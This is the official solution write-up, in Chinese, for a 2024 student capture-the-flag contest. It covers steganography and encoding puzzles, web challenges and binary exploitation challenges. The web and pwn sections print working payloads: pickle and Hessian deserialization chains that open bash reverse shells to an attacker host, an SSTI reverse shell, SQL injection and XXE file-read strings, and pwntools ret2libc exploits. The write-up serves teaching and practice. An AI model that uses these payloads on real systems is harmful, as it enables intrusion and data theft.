2024 XSCTF 初赛 官方wp
出题人 + 解出人数 + 题目描述 +tips+ 考点
Misc
【新生专属】艾伦走路人
出题人:Haruka
解出人数:24
两段文字有区别的问地方就是 1,没区别的就是 0,可以得到一串二进制数,转为 bytes 可以得到 flag。
1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
with open('cipher.txt') as f:
c = f.read().split('\n')
b = ''
for i in range(1, len(c)):
for j in range(len(c[0])):
if c[0][j] == c[i][j]:
b += '0'
else:
b += '1'
print(long_to_bytes(int(b,2)))
恶魔的语言
出题人:HvAng
解出人数:49
题目描述:All of his emails are in Chinese. Mayfair, we got to get everyone who speaks Chinese. I want all eyes on those emails. Our translators are struggling with it. Apparently, it’s a very rare dialect, called Wenzhou. The Chinese call it the Devil’s language.
考点:温州话 + 十六进制
可以找对照表,甚至原题(x,也可以通过 flag 头XSCTF{}十六进制编码之后的数据找出对应关系,十六进制这个应该不难看出
exp:
1
2
3
4
5
6
7
8
_with_ open("devil's word.txt", 'r') _as_ f:
data = f.read().strip().split(' ')
table = {'leng': '0', 'lia': '2', 'sa': '3', 'sii': '4', 'ng': '5', 'leu': '6', 'cai': '7',
'bo': '8', 'jau': '9', 'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd', 'e': 'e', 'f': 'f'}
result = b''
_for_ i _in_ range(0, len(data), 2):
result += bytes([int(table[data[i]]+table[data[i + 1]], 16)])
print(result.decode())
系吸嘎嘎吗
出题人:HvAng
解出人数:21
题目描述:答案当然不是,就连美国五星上将道格拉斯·麦克阿瑟都说过:“哪怕我从事开发十几年,都没有见过如此复杂的编程语言,可谓前无古人后无来者。”
考点:零宽字符隐写 +Malbolge 编程语言
第一步的零宽字符(看不见的秘密),它的异常还是挺明显的,应该不陌生,毕竟热身赛我们也有一题
第二步,题目描述里提到了最复杂的编程语言,完全降低了难度,不用猜,直接对上了出题人的脑电波(x,只是找在线网站解需要点时间
解零宽字符
https://www.mzy0.com/ctftools/zerowidth1/
在线运行 Malbolge 编程语言
https://malbolge.doleczek.pl/
过来挨打
出题人:HvAng
解出人数:4
题目描述:圈圈说,落后就会挨打。你认同这句话吗?
考点:idat 块基础知识
挨打谐音 idat,题目里提到了两次挨打,当然不需要这个也是可以做出来的
只要你发现 idat 块(png 的重要组成部分,多留意即可)有异常即可,查看 idat 块的工具有 pngcheck、010 Editer、随波逐流(看到有一支队伍的 wp 有写)等
idat 块只有前一块满了,下一个 idat 块才会开始
所以的话,这里其实是两张图片,只是由于优先级,展示了第一张 fake flag 的图片
使用工具 tweakpng,把前两个 idat 块删掉或者下移,即可显示正确 flag 的图片,保存打开即可
【新生专属】爱,来自
出题人:Ramen
解出人数:61
题目描述:你能找到消失的爱吗?
考点:png 宽高修改
可以看到图片不完整,下方的字体被截去了一部分,使用 010 Editor 或者 winhex 之类的工具打开,修改 png 的高(往大改)即可,或者根据 CRC 值爆破宽高,其实还有工具一把梭(x
由于出题人跟给平台上题的人不是同一个,导致不知道附件的 flag 跟出题人给的 flag 不一样,华师这边有同学反映的时候已经 8 解了好像,大家还是知道换 flag 头的
血的加成虽然不多,但还是要跟受此影响的抢血队伍说声抱歉
16 + 16 = ⑨
出题人:Ramen
解出人数:24
题目描述:冰之妖精琪露诺在某天收到了一封神秘的信,信上只有一串奇怪的字母和数字组合。琪露诺发现这些但显然事情没那么简单。你能帮她解开这段奇怪的加密信息吗?
考点:Twin-hex
Twin-hex,双十六进制编码
https://www.calcresult.com/misc/cyphers/twin-hex.html
跟去年一样了不是,可能是今年的出题人想再拷打一下大家(x
なんで 春日影 やったの!
出题人:Ramen
解出人数:43
题目描述:在那天演奏完《春日影》之后,长期素食小姐一直试图联系她的好友祥子。她拨通了无数次电话,可每次电话那端传来的,只有她拨号的声音……
考点:DTMF2num(拨号隐写)+Deepsound(音频隐写)
phone.wav,拨号隐写,使用 DTMF2num 工具或者在线网站 http://dialabc.com/sound/detect/,即可得到 7355608 这串数字,这很明显是个 key,没有其他提示的情况下,带 key 的音频隐写可以先考虑 deepsound,使用 deepsound 工具打开春日影.wav,输入密钥分离出隐藏的文件,打开压缩包即可得到 flag
GENETICS
出题人:HvAng
解出人数:45
题目描述:Bing,Bing,Bing!DNA 的碱基也可以用来编码啦!
考点:DNA 编码与二进制序列
8 种符合互补规则,所以可能需要遍历 8 种规则才能得到 flag,当然通过XSCTF{}确定编码规则也是可以的(题目描述中的 Bing 也算一个提示吧(?),binary,二进制)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_from_ Crypto.Util.number _import_ *
dec = [
{"A": "00", "C": "01", "G": "10", "T": "11", ' ': ''},
{"A": "01", "C": "00", "G": "11", "T": "10", ' ': ''},
{"A": "10", "C": "11", "G": "00", "T": "01", ' ': ''},
{"A": "11", "C": "01", "G": "10", "T": "00", ' ': ''},
{"A": "10", "C": "00", "G": "11", "T": "01", ' ': ''},
{"A": "00", "C": "10", "G": "01", "T": "11", ' ': ''},
{"A": "11", "C": "10", "G": "01", "T": "00", ' ': ''},
{"A": "01", "C": "11", "G": "00", "T": "10", ' ': ''}
]
_# AGCT_
s = 'GGCA GGAT GAAT GGGA GAGC GTCT GTCG ATAA GTGG GGTT GTAC ATAT GAAA GCTA GCTA GTCG GGTT GCCT GCTC ATAA GTGT GGTT GTGA GCCA ATAT GGTT GTAT GCGG GCAT GTAC ATAT GTGA GGTT GCAC GCGG ATGT GTGT GCGG GCGG GCTC GGTT GCGT ATAT GCTC GCGG GTGA ATAG GCAT GTAT GGTT GAAA GCTC GCGA GGTT GCAC ATAG GCTC ATGA GTAC GTCG GTTG'
_for_ dict _in_ dec:
flag = ''
_for_ i _in_ s:
flag += dict[i]
print(long_to_bytes(int(flag, 2)))
【新生专属】saveSaofe1a_partC
出题人:Chimedal
解出人数:60
题目描述:知道了小美的大学,Saofe1a 独自带着礼物出发了,可是,正当你在宿舍想象 Saofe1a 的美好幸福生活的时候,你收到了 Saofe1a 的消息,一张图片,和一句”来找我”……(flag 格式为 XSCTF{学校 + 校区},例如:XSCTF{华南师范大学石牌校区}。图片里面藏了这个系列的结局,作为无奖彩蛋,想看又不想早点下班的可以尝试找一下)
考点:
- 图寻
Writeup:
搜宁阳广场一把出
彩蛋部分,010 打开,图片最后的 base64 解密一下就行
【新生专属】你说你是凯撒大帝尊嘟假嘟啊
出题人:Chimedal
解出人数:53
题目描述:O.o O.o O.o O.o O.o
考点:编码转换
Writeup:
密文
1
Öv0 0vo O.0 O_Ö Övo 0vo ov0 ovÖ o.Ö owÖ 0.o OwÖ o.O Ö.O O_0 o_Ö Ö_0 OwÖ Ov0 0wÖ Ö.Ö owO 0v0 o.O o.Ö Ö.0 o.0 ovO o.Ö Ö.o 0vo Ow0 Ö.Ö owo 0_0 0.0 o.Ö Ö.O O.0 O_0 o_O 0vÖ owo
尊嘟假嘟翻译器 O.o https://zdjd.vercel.app/ 解密
1
FAKBN{oz3ib_g0c_iZm_zmI1_KimaIz}
再在 http://www.hiencode.com/caesar.html 解密,偏移位是 8
Web
Learn_decompilation_and_reflection
出题人:Victor
解出人数:7
题目描述:简单学习一下 java 的基础知识吧
考点:
- 对 jar 包的反编译和简单的 spring 代码审计
- 反射、简单的序列化和反序列化、简单的 java 代码编写
Writeup:
建议先学习一下 java 中的反射、序列化、反序列化在现实中的作用以及可能导致的安全问题和利用方式
拿到 jar 包以后反编译,pom.xml 和其他配置文件都没什么有用的东西。
直接审计路由。只需要在 CheckPrivilege 路由通过 json 提交 challenge 参数,然后在 cookie 反序列化 user 类时通过 if 判断即可得到 flag。
将 user 类的代码复制到本地,或者直接把整个项目当成外部 lib 即可导入 user 类。
通过反射的方法设置 role 属性为管理员(实际上该情况下不通过反射直接设置也可以,但实战中大都需要反射才能做类似的操作),序列化后 base64 编码即可通过 if 判断,exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.xsctf.ldar.Bean;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception{
User user =new User();
Class cls = user.getClass();
Field role = cls.getDeclaredField("role");
role.setAccessible(true);
role.set(user,"administrator");
System.out.println(serialize(user));
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(serializedBytes);
}
}
Important_key
出题人:fru1ts
解出人数:4
题目描述:都不知道密钥看你们怎么反序列化
考点:
- python 原型链污染
- pickle 反序列化
Writeup:
思路:在 login
路由直接给了一个 pickle 反序列化入口,这里则可以实现 RCE。但是要进入反序列化需要进行身份认证,admin 才能进入,所以需要进行伪造。可以看到用的是 AES-CBC 解密,但是需要密钥,而代码中密钥是随机产生的,好像伪造不了。但看到 /
路由,使用了 merge
函数递归合并属性,存在典型的原型链污染。可以利用原型链污染修改 AES 的密钥,用自己的密钥加密”admin”,然后进行 pickle 反序列化。由于是无回显所以需要反弹 shell,当然也可以打内存马。
exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import base64
import pickle
from verify import *
url=""
def index(key):
data={
"__init__":{
"__globals__":{
"User":{
"key":base64.b64encode(key)
}
}
}
}
res=requests.post(url=url,json=data)
print(res.text)
def login(key):
class EXP():
def __reduce__(self):
command=r"__import__('os').system('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"
return (eval,(command,))
p=EXP()
op=pickle.dumps(p)
b64op=base64.b64encode(op)
# print(b64op)
user=User()
enc=user.encrypt("admin",key)
# print(enc)
data={
"role":enc,
"data":b64op
}
r=requests.post(url=url+"login",data=data)
print(r.text)
if __name__=="__main__":
key=os.urandom(16)
index(key)
login(key)
vps 上监听就可以拿到 shell,之后 cat /flaAag.txt 即可。
【新生专属】saveSaofe1a_partA
出题人:Chimedal
解出人数:35
题目描述:Saofe1a 近期因思念离开的初恋,整天无精打采的。身为 Saofe1a 好兄弟的你得知后,决定帮他复合。经过一番思考,你决定先帮 Saofe1a 给小美选一个礼物,正当你对送什么感到一筹莫展的时候,你看到了 Saofe1a 手机里面的一个网址——高三一班同学录查询系统,或许里面能找到小美的 hobbies……
考点:
- 无过滤 sql 注入
Writeup:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
该题只会回显一个查询,前面需要是-1
测试字段数
-1' union select 1,2,3,4;#
看数据库
-1' union select 1,2,3,database();#
看表
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database();#
看字段名
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='class3';#
看字段名对应的字段值
-1' union select 1,2,3,group_concat(hobbies) from class3;#
saveSaofe1a_partB
出题人:Chimedal
解出人数:24
题目描述:知道了小美的 hobby 后,你准备了一份大礼,可是 Saofe1a 竟然不知道小美在什么大学,这时你也只好重新在系统里面找找有没有遗漏的线索。可是,上一次的攻击似乎被网站管理员发现了,这个系统得到了史诗级的加强。黑客的战斗没有硝烟,这一次,阁下又该如何应对?
考点:
- 有过滤 sql 注入
出题人说:相信很多人都看出来了这就是 19 年强网杯的原题,只是减少了几种解法,这么出,本意是想告诉大家其实很多比赛题(国内的比赛)都可以尝试去网上找到魔改前的版本的,甚至是一模一样的原题,这也算是一种考察信息收集的能力的方式吧(绝对不是出题人偷懒嗷)
Writeup:
1
2
/select|update|delete|drop|insert|where|\./i
set&prepare&execute都没了
注释可以#或者–
-
输入 1,可行,再输入
1'
报错 -
说明了两点:本题的闭合方式确实是
'
闭合,同时我们确定在本题我们是有可能是能使用报错注入的。 -
判断是否有关键字过滤:先直接输入: select 查看回显,
-
select 一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。
-
1';show databases#
-
1';show tables;#
查看数据表 -
奇奇怪怪的表
2333
包有问题的,看结构- 方法:
1';desc
2333;#
- 注意,如果 tableName 是纯数字,需要用反引号包裹
- 方法:
方法一:
可以通过修改表名和列名来实现。我们输入 1 后,默认会显示 id 为 1 的数据,可以猜测默认显示的是和上题一样的 class1 表的数据,查看 class1 表结构第一个字段名为 id 我们把 class1 表随便改成 class,然后把 2333 表改成 class1,再把列名 flag 改成 id,就可以达到直接输出 flag 字段的值的效果:1'; alter table class1 rename to class;alter table
2333 ` rename to class1;#,然后输入
1’ or 1 = 1 #` 成功获取到 flag。
方法二:
此题还可以通过 handle 直接出答案:1';HANDLER
2333 OPEN;HANDLER
2333 READ FIRST;HANDLER
2333 ` CLOSE;`
【新生专属】刚满 18 岁~
出题人:Chimedal
解出人数:17
题目描述:诶呀,人家真的刚满 18 岁啦~,你要找的 flag 当然就在 18.php 啦
考点:
- $ 构造数字
Writeup:
1
2
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
))
【新生专属】燕子不要走~
出题人:Chimedal
解出人数:38
题目描述:燕子燕子,你真的忍心再一次甩开那个为了你什么都愿意的猪头吗?
考点:
- 逃逸后边的命令
Writeup:
1
cat /flag||ls
hessian_checkin
出题人:ABU
解出人数:0
题目描述:听说 hessian 反序列化比原生的快很多,我立马写了个服务来测试看看!!!
hint:没思路?那来调试一下 hessian 反序列化过程看看和 hashmap 的关系
考点:
- hessian 反序列化
Writeup:
去年弄了一道 jdk 原生反序列化的签到,今年则继续弄了道 hessian 反序列化的签到(没人做出来有点伤心 😭
反编译 jar 后查看源码(IDEA 直接添加我给的 jar 为依赖就可以查看和调试了),在路由/ser 很明显就是一个裸 hessian 反序列化。既然是 hessian 反序列化,首先我们应该先了解一下 hessian 反序列化的过程。
在 hessian2Input.readObject()
下断点调试,首先调用自身实现的 read()
方法,读取并返回序列化流的第一个字节。
可以看到字节流首位是 72,对应字符 H,跟进 case 7
2 分支,发现调用了 findSerializerFactory#readMap
跟进 findSerializerFactory#readMap
,进入第三个分支,初始化 _hashMapDeserializer
并调用其 readMap()
方法
继续跟进 readMap
,就看到了熟悉的 hashmap
的 put
方法
我们知道 hashmap 的 put 方法会调用 hash 方法,hash 方法里会调用 hashcode 方法
同时题目的 UserMap 类里有 hashcode 方法,里面调用了 UserBean 的 getBean 方法,而 getBean 方法里又循环调用了 UserFun 的 transform 方法,而 transform 方法里就是一个任意方法调用(不明白的可以看看去年的 java_checkin),然后我就可以构造 exp 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.xsctf.checkin;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.xsctf.checkin.bean.UserBean;
import org.xsctf.checkin.until.UserFun;
import org.xsctf.checkin.until.UserMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception {
UserFun[] userFuns = {
new UserFun(),
new UserFun("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new UserFun("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new UserFun("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzA2NjAgMD4mMQ==}|{base64,-d}|{bash,-i}"})
};
UserBean userBean = new UserBean(userFuns, null);
Map map = new HashMap();
map.put("key", userBean);
UserMap userMap = new UserMap(map, "key");
HashMap hashMap = new HashMap();
hashMap.put(userMap, "value");
Field bean = userBean.getClass().getDeclaredField("bean");
bean.setAccessible(true);
bean.set(userBean, Runtime.class);
byte[] bytes = _HessianSerialize_(hashMap);
_HessianDeserialize_(bytes);
}
public static byte[] HessianSerialize(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
byte[] bytes = baos.toByteArray();
System._out_.println(Base64._getEncoder_().encodeToString(bytes));
return bytes;
}
public static Object HessianDeserialize(byte[] bytes) throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(bytes));
Object o = hessian2Input.readObject();
return o;
}
}
这里用了 UserFun 数组来构造,循环执行 transform,最终反射调用 Runtime 的 exec 来反弹 shell(反射调用任意方法这部分是我参考 cc 链改的,有兴趣的同学建议去看看 cc 链的内容)
baby_XML
出题人:S1mh0
解出人数:2
题目描述:可扩展标记语言就是最牛逼的!漏洞?没有的事!
考点:
- 有过滤的 XXE
Writeup:
由于源码环境设置问题,真正过滤的应该是 php|filter|expect|glob|phar|host|encode|decode|conf
这几个关键词,因此用最简单的 file 协议 payload 就可以读文件
1
2
3
4
5
<?xml version="1.0" encoding = "utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<x>&b;</x>
首先读 passwd 可以看到
可以得到根目录下的 flag 文件名为 fl4444449g
但是接着用该 payload 读 flag 却读不到,如果看正常的 XXE 文章一般都会提到,若读取的文件含有特殊字符(比如含有 <>),会导致解析引擎解析时发生错误,因此需要配合 CDATA 并结合外部实体(需要有个 vps,或者能被比赛服务器访问到的公网地址)
1
2
3
4
5
6
7
8
9
<?xml version = "1.0"?>
<!DOCTYPE a [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///fl4444449g">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
%dtd;
]>
<x>&all;</x>
xxe.dtd 内容
1
<!ENTITY all "%start;%go;%end;">
EngineX2SSTI
出题人:itSssm3
解出人数:3
题目描述:这个 nginx 怎么不对劲……怎么 ssti 也不对劲呜呜呜呜
考点:
- NGINX 配合 gunicorn 解析绕过
- 无回显 ssti
Writeup:
1
2
3
4
5
POST /secret HTTP/1.1/../../hello HTTP/1.1
……
……
xscode={{lipsum.__globals__.__builtins__.__import__('os')['popen']('bash+-c+"bash+-i+>%26+/dev/tcp/vps/port+0>%261"').read()}}
反弹 shell 之后 cat flag
就行了
或者通过 curl
之类的外带 flag 也可以
Pwn
【新生专属】c_master
出题人:xswlhhh
解出人数:12
题目描述:
请使用简单的 C 语句对程序进行 getshell 吧!
考点:数组溢出
下面是题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void init();
void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return;
}
void backdoor();
void backdoor()
{
system("/bin/sh");
}
int main()
{
init();
char base[8];
int baseidx=0;
char* string=malloc(1024);
memset(string,0,1024);
puts("Try to write a C getshell program with my code!");
puts("read(0,base,0x8);");
puts("write(1,base,0x8);");
puts("base+=8;");
puts("base-=8;");
puts("return 0;");
while(1){
puts(">>>");
scanf("%128s",string);
if(!strcmp(string,"read(0,base,0x8);")){
puts("input:");
read(0,&base[baseidx],0x8);
}
else if(!strcmp(string,"write(1,base,0x8);")){
puts("output:");
write(1,&base[baseidx],0x8);
}
else if(!strcmp(string,"base+=8;")){
baseidx+=8;
}
else if(!strcmp(string,"base-=8;")){
baseidx-=8;
}
else if(strcmp(string,"return 0;")){
break;
}
else{
puts("No such code...");
}
}
return 0;
}
//gcc xxx.c -no-pie -o xxx
0x1 逆向分析
checksec 查看,没开 pie 保护,elf 地址对我们是透明的。
拖进 IDA 分析,看看 main 函数干了什么?
首先申请了一个 0x400 的堆块,然后 scanf 读取输入写到堆上。
然后调用 strcmp 比较输入的字符串和目标字符串。
如代码所示,read 和 write 都是针对(base~base+0x7)这一块内存进行读写操作。
所以我们得看看 base 在哪里,这里的 base 就是我们的 v6[v4]
注意到 base+=8 是 v4+=8,v4 是索引
v6 就是 base,索引没做限制,这就是数组溢出。
base 到 ret 的距离是 v10 到 return_address 的距离 也就是 0x10+0x8=0x18,所以只需要让 v4 移动三次。
栈底是高地址,所以我们得让 v4+=8 进行三次操作;
此处我们直接覆盖 ret 返回地址,只要不对 canary 进行改写,就不会触发 canary 保护。
如果直接返回 backdoor 函数有栈平衡问题
只需要跳过 push rbp 指令即可
0x2 思路总结
通过数组溢出,覆盖 ret 为 backdoor 地址(0x4012BB ),但是有栈平衡问题,需要跳过一个 push 指令,所以覆盖为 0x4012C0。
0x3 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level="debug")
#p=process("./c_master")
p=remote("43.248.97.213",30219)#019843.248.97.213:
system=0x4012c0
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("write(1,base,0x8);")
p.sendline("read(0,base,0x8);")
#gdb.attach(p)
p.send(p64(system))
p.sendline("return 0;")
p.interactive()
Wahahabox
出题人:xswlhhh
解出人数:2
题目描述:
Wahaha 的箱子,你能拿到 flag 吗?
Tips:
1./proc 下的文件很有用
考点:
0X1 逆向分析
check 一下二进制程序,发现没开 canary,但是开了 pie。
拖进 IDA 进行逆向
main 函数如下
1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("If you want to open the box, what do you want to say to Wahaha?");
__isoc99_scanf("%31s", buf);
gift(buf);
puts("Try to open");
read(0, buf, 0x40uLL);
return 0;
}
我们先计算 buf 到 ret 的距离,计算得 0x20+0x8
所以第一个 scanf(“%31s”);我们是无法覆盖 ret 的,第二个 read(0,bu,0x40);能够覆盖 ret,但是只能构造一个 p64(pop_rdi )+p64 (数据) + p64(返回地址)的 ROP 链。
然后跟进 gift 函数,看看能给什么信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t __fastcall gift(const char *a1)
{
_BYTE s[2060]; // [rsp+10h] [rbp-810h] BYREF
int fd; // [rsp+81Ch] [rbp-4h]
if ( strstr(a1, "flag") )
{
puts("It's a secret :)");
exit(-1);
}
fd = open(a1, 0);
if ( fd < 0 )
{
puts("Open box fail :(");
exit(-1);
}
puts("Wahaha left you the keys");
memset(s, 0, 0x800uLL);
read(fd, s, 0x800uLL);
return write(1, s, 0x800uLL);
}
这里 open 会根据我们字符串去打开一个文件(第二个参数决定以只读形式打开),而且如果我们字符串中有 flag 这个子字符串(可以去查找 strstr 函数的功能)就会退出程序。
然后给了很大的栈空间,来读取文件的内容并输出。
其实看到这里了解相关知识点的人就能想到利用/proc/self/maps 这个文件去泄露 程序相关的映射地址了。
放出 tips:/proc 下的文件很有用
其实非常有必要去学习一下这个文件夹。web 和 pwn 其实都有用。
在本地执行,open 打开/proc/self/maps 终端输出如下,这里要接收 libc.so 的地址,这里以接收 b’55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n’中的子字符串
“[heap]\n”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
b'55edd95bc000-55edd95bd000 r--p 00000000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bd000-55edd95be000 r-xp 00001000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95be000-55edd95bf000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bf000-55edd95c0000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95c0000-55edd95c1000 rw-p 00003000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n'
b'768d30600000-768d30628000 r--p 00000000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30628000-768d307bd000 r-xp 00028000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d307bd000-768d30815000 r--p 001bd000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30815000-768d30816000 ---p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30816000-768d3081a000 r--p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081a000-768d3081c000 rw-p 00219000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081c000-768d30829000 rw-p 00000000 00:00 0 \n'
b'768d309c5000-768d309c8000 rw-p 00000000 00:00 0 \n'
b'768d309dc000-768d309de000 rw-p 00000000 00:00 0 \n'
b'768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a18000-768d30a1a000 rTry to open\n'
/home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/m.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("rw-p 00000000 00:00 0 \n")
[*] Switching to interactive mode
768d309c5000-768d309c8000 rw-p 00000000 00:00 0
768d309dc000-768d309de000 rw-p 00000000 00:00 0
768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a18000-768d30a1a000 rTry to open
不同 glibc 可能内存分布略有区别,这里用的是 2.35 的 3.8
有了 libc 地址之后(也可以获得 elf 地址,stack 地址)。就直接栈溢出打 system(“/bin/sh”)就行,如果遇到栈平衡问题,此时请把 libc 中的 system 地址 +27,这样可以直接调用更底层函数 do_system。
当然也有其他 getshell 方法或者 ORW。
0X2 思路总结
scanf 的输入,要输入/proc/self/maps 去泄露 libc 地址,然后栈溢出当普通 ret2libc 来做就可以了。
0x3 exp
getshell 发现实在根目录,flag 在/home/ctf 目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level="debug")
p=process('./wahahabox')
#p=remote("43.248.97.213",30057)
gdb.attach(p,"b *$rebase(0x129a)")
p.sendline("/proc/self/maps")#./flag
#p.recvuntil("rw-p 00000000 00:00 0")
p.recvuntil("[heap]\n")
#p.recvuntil("rw-p 00000000 00:00 0 \n")
libc_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("libc_addr",hex(libc_addr))
libcbase=libc_addr
system=libcbase+0x50d70+27
bin_sh=libcbase+ 0x1d8678
pop_rdi=libcbase+0x2a3e5
payload=b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(system)
print("libc_addr",hex(libc_addr))
p.send(payload)
""""""
p.interactive()
Pokemon_master
出题人:xswlhhh
解出人数:1
题目描述:
你是纪南镇的一名宝可梦新手,你已经达到了可以外出探险的年纪,请外出探险,成为伟大的冒险家吧!传闻外面有很强大的神兽,击败它会获得神器。
TIPS:
考点:
源码太长了,单独一桌
基本原理不难,但是逆向难度对于新生来说是有点挑战性的(无论是代码量还是结构体逆向),花点时间知道原理还是能做出来的,更何况放了那么多 tips。
游戏题:数组溢出、整数溢出比较多
0x0 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
